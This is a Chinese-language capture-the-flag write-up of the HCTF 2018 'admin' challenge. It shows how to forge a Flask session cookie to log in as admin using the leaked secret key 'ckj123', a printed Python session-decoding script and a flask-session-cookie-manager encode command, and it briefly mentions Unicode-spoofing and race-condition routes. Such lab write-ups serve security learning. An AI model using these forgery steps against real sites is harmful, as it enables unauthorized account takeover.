admin-flask的session伪造
题目来自:
[HCTF 2018]admin 1
进来也没什么说的,就是一个页面,点击右上角的交互我们就可以发现login和register:
点击login,感觉像是sql注入,尝试了一下,没用。
那么我们就老老实实注册一个账号再进去吧,看看会有什么提示之类的:
(好臭的名字)
咳咳,算是我的一个小小恶趣味吧~~
然后我们登录进去,右上角交互有三个东西:
POST打开就是一个留言板,没啥特别的,logout就直接登出了,也没什么用。
在这个change password的页面源码里,发现了个东西:
看来这个web页面是用flask框架搭建的。
flask是轻量级web框架,session存在客户端,我们可以伪造session(cookie)。
那什么是Session?
这里也有一个大神的解释:详见 Session机制详解 - lonelydreamer - 博客园 (cnblogs.com)
在计算机中,尤其是在网络应用中,称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。(来自百度百科)
(本来这里是可以访问然后看源码的,但是现在访问就404了,不知道为啥跑路了......那就只好借其他人的这部分来用了www)
(注:来自CTF学习笔记——[HCTF 2018]admin_ctf特定用户_Obs_cure的博客-CSDN博客)
源码审计一下,首先是发现库中有两个账号,可惜密码被加密了。
需要注意的是,session加密过程中有一个SECRET_KEY,需要我们知晓。这个东西一般放在config之类的文件里:
一般这个key可以是随机生成的,这里直接是固定的ckj123,也算减小题目难度了吧......
这个时候我们需要再找一个flask的session加密脚本,把admin的session伪造一个。
我们使用burpsuite抓包我们那么页面看看,应该会有session值的出现:
网上搜了搜,这个session加解密都是有对应脚本的,首先是这个解密脚本,源码放一下:
import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
这个需要我们在cmd上使用,如果pip install flask有点问题的还可以看我的另一个博客:
python在cmd运行时出现pip安装了包以后却出现ModuleNotFoundError No module named ‘xxx‘的问题
话不多说,直接开始decode:
这里又有需要注意的了,我们更改下面这个东西的时候,不仅仅要更改name为admin,还有改user_id=1哦~~
接下来又是一个flask加密的脚本:
链接放这里了:
https://github.com/noraj/flask-session-cookie-manager
使用payload:(这里也要注意session修改也一般是需要密钥的,这道题就是ckj123)
python flask_session_cookie_manager3.py encode -s "(密钥)" -t "(修改的明文session)"
然后复制到bp中再放包,就成功了:
据出题人说,因为很多人在做这道题的时候,在修改admin密码的时候直接修改成简单密码了,所以很多人都直接能最后弱口令爆破出来捡漏....
正规做法当然是这个flask的session伪造,还有另外两种做法,一种是Unicode欺骗,就是用ᴬᴰᴹᴵᴺ的这种形式先注册骗进去然后改密码,就等效于改了admin的密码,就可以登录进去了;还有一种做法是条件竞争,比较牛逼,一题三解可以看看这篇博客:一题三解之2018HCTF&admin-安全客 - 安全资讯平台 (anquanke.com)。